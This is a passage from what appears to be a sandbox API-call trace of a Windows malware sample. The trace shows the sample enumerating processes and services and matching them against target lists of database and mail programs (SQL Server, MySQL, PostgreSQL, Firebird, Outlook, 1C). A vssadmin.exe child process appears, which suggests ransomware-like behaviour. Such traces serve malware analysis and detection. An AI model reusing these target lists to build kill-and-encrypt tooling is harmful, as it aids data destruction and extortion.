(lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.247] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0045.248] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0045.250] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.250] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.251] lstrlenW (lpString="System") returned 6 [0045.251] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.251] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.251] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.251] lstrlenW (lpString="smss.exe") returned 8 [0045.251] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.251] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.251] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.251] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.252] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.252] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.252] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.252] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.252] lstrlenW (lpString="csrss.exe") returned 9 [0045.252] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.252] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.252] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.252] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.252] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.252] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.252] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.252] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.253] lstrlenW (lpString="wininit.exe") returned 11 [0045.253] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.253] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.253] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.253] lstrlenW (lpString="csrss.exe") returned 9 [0045.253] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.254] lstrlenW (lpString="winlogon.exe") returned 12 [0045.254] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.255] lstrlenW (lpString="services.exe") returned 12 [0045.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.255] lstrlenW (lpString="lsass.exe") returned 9 [0045.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.256] lstrlenW (lpString="lsm.exe") returned 7 [0045.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.256] lstrlenW (lpString="svchost.exe") returned 11 [0045.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.257] lstrlenW (lpString="svchost.exe") returned 11 [0045.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.257] lstrlenW (lpString="svchost.exe") returned 11 [0045.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.258] lstrlenW (lpString="svchost.exe") returned 11 [0045.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.258] lstrlenW (lpString="svchost.exe") returned 11 [0045.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.259] lstrlenW (lpString="audiodg.exe") returned 11 [0045.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.259] lstrlenW (lpString="svchost.exe") returned 11 [0045.259] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.260] lstrlenW (lpString="svchost.exe") returned 11 [0045.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.260] lstrlenW (lpString="dwm.exe") returned 7 [0045.260] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.261] lstrlenW (lpString="explorer.exe") returned 12 [0045.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.261] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.261] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.262] lstrlenW (lpString="taskhost.exe") returned 12 [0045.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.262] lstrlenW (lpString="svchost.exe") returned 11 [0045.262] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.263] lstrlenW (lpString="taskeng.exe") returned 11 [0045.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.263] lstrlenW (lpString="taskhost.exe") returned 12 [0045.263] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0045.264] lstrlenW (lpString="dear.exe") returned 8 [0045.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0045.264] lstrlenW (lpString="b costa.exe") returned 11 [0045.264] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0045.265] lstrlenW (lpString="rc lock.exe") returned 11 [0045.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0045.265] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0045.265] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0045.266] lstrlenW (lpString="hugown.exe") returned 10 [0045.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0045.266] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0045.266] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0045.267] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0045.267] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0045.267] lstrlenW (lpString="locked welsh.exe") returned 16 [0045.268] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0045.268] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0045.268] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0045.269] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0045.269] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0045.269] lstrlenW (lpString="planners.exe") returned 12 [0045.269] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0045.270] lstrlenW (lpString="agreements.exe") returned 14 [0045.270] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0045.270] lstrlenW (lpString="tray.exe") returned 8 [0045.270] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0045.271] lstrlenW (lpString="wp std.exe") returned 10 [0045.271] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0045.271] lstrlenW (lpString="lesser.exe") returned 10 [0045.271] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0045.272] lstrlenW (lpString="right-tissue.exe") returned 16 [0045.272] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0045.272] lstrlenW (lpString="bunch.exe") returned 9 [0045.272] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0045.273] lstrlenW (lpString="jam.exe") returned 7 [0045.273] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0045.862] lstrlenW (lpString="chooseincidence.exe") returned 19 [0045.862] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0045.862] lstrlenW (lpString="numericalrear.exe") returned 17 [0045.862] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0045.874] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0045.874] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0045.875] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0045.875] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0045.875] lstrlenW (lpString="come_wave.exe") returned 13 [0045.875] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.876] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.876] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0045.877] lstrlenW (lpString="uyuquk.exe") returned 10 [0045.877] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.877] lstrlenW (lpString="cmd.exe") returned 7 [0045.877] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.878] lstrlenW (lpString="conhost.exe") returned 11 [0045.878] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.878] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.878] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0045.879] lstrlenW (lpString="VSSVC.exe") returned 9 [0045.879] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.879] lstrlenW (lpString="svchost.exe") returned 11 [0045.879] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0045.880] CloseHandle (hObject=0x1a8) returned 1 [0045.880] Sleep (dwMilliseconds=0x1f4) [0047.052] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566930 [0047.053] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0047.053] GetLastError () returned 0xea [0047.053] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0047.053] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0047.056] CloseServiceHandle (hSCObject=0x566930) returned 1 [0047.056] lstrlenW (lpString="Appinfo") returned 7 [0047.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.056] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.056] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.056] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.056] lstrlenW (lpString="AudioSrv") returned 8 [0047.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.056] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.056] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.056] lstrlenW (lpString="BFE") returned 3 [0047.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.056] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.056] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") 